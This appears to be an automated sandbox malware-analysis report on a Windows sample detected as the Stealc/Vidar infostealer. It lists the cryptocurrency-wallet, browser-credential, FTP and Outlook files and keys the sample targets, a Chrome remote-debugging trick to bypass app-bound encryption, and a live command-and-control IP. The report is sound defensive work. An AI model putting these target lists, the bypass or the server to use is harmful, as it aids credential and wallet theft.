Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.>

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2745630748.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2745630748.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vMRlWtVCEN.exe PID: 7160, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 0.2.vMRlWtVCEN.exe.4830e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.vMRlWtVCEN.exe.4910000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.vMRlWtVCEN.exe.4830e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.vMRlWtVCEN.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.vMRlWtVCEN.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2745630748.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2234993368.0000000004910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vMRlWtVCEN.exe PID: 7160, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: vMRlWtVCEN.exe PID: 7160, type: MEMORYSTR

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CC60C40 sqlite3_bind_zeroblob,	0_2_6CC60C40
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CC60D60 sqlite3_bind_parameter_name,	0_2_6CC60D60
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB88EA0 sqlite3_clear_bindings,	0_2_6CB88EA0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CC60B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CC60B40

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Create Account	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	21 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	22 Software Packing	NTDS	144 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	31 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Virtualization/Sandbox Evasion	Proc Filesystem	12 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vMRlWtVCEN.exe	39%	ReversingLabs
vMRlWtVCEN.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	4%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://95.215.204.182/dcace648038981df/mozglue.dll8	0%	Avira URL Cloud	safe
http://95.215.204.182/dcace648038981df/vcruntime140.dll	0%	Avira URL Cloud	safe
http://95.215.204.182/dcace648038981df/nss3.dll	0%	Avira URL Cloud	safe
http://95.215.204.182/4d3324bde875e159.phpq	0%	Avira URL Cloud	safe
http://95.215.204.182/dcace648038981df/softokn3.dllZAb1	0%	Avira URL Cloud	safe
http://95.215.204.182/4d3324bde875e159.phpL	0%	Avira URL Cloud	safe
http://95.215.204.182/dcace648038981df/freebl3.dllHAl1	0%	Avira URL Cloud	safe
http://95.215.204.182/	0%	Avira URL Cloud	safe
http://95.215.204.182/dcace648038981df/sqlite3.dllD	0%	Avira URL Cloud	safe
http://95.215.204.182/4d3324bde875e159.php4	0%	Avira URL Cloud	safe
http://95.215.204.182/4d3324bde875e159.phpw	0%	Avira URL Cloud	safe
http://95.215.204.182/4d3324bde875e159.phprowser	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	172.217.16.206	true	false	high
play.google.com	172.217.16.206	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.122	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	216.58.206.68	true	false	high
googlehosted.l.googleusercontent.com	216.58.206.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://95.215.204.182/dcace648038981df/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
http://95.215.204.182/dcace648038981df/nss3.dll	true	Avira URL Cloud: safe	unknown
https://deff.nelreports.net/api/report?cat=msn	false		high
https://c.msn.com/c.gif?rnd=1730996745473&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=856f9a24aadd4da38b888eab403e620c&activityId=856f9a24aadd4da38b888eab403e620c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1907E8B7124746EBB86F15D8765F7F10&MUID=2A8240AA479562810A1E559A46E0634C	false		high
http://95.215.204.182/	true	Avira URL Cloud: safe	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730996745471&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://sb.scorecardresearch.com/b2?rn=1730996745473&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2A8240AA479562810A1E559A46E0634C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://95.215.204.182/dcace648038981df/mozglue.dll8	vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, GCFIIEBK.0.dr, Web Data.10.dr, FCAKFCGC.0.dr	false		high
https://duckduckgo.com/ac/?q=	vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, GCFIIEBK.0.dr, Web Data.10.dr, FCAKFCGC.0.dr	false		high
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000007.00000003.2464286759.000055D40026C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/0	000003.log9.10.dr	false		high
https://ntp.msn.com/_default	QuotaManager.10.dr	false		high
http://anglebug.com/4633	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/284462263	msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.10.dr	false		high
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.11.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.11.dr	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000003.00000003.2365636665.00004BF800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365675762.00004BF801064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365598938.00004BF801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368785252.00004BF8010F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368174751.00004BF800F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367215054.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368683920.00004BF8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365479649.00004BF801038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365540647.00004BF801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368879816.00004BF801224000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367541940.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	manifest.json0.10.dr	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/K	chrome.exe, 00000003.00000003.2394372474.00004BF801A68000.00000004.00000800.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.11.dr	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.2364999108.00004BF800FD0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.instagram.com	d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.2368785252.00004BF8010F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368683920.00004BF8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368879816.00004BF801224000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368214914.00004BF800C1C000.00000004.00000800.00020000.00000000.sdmp	false		high
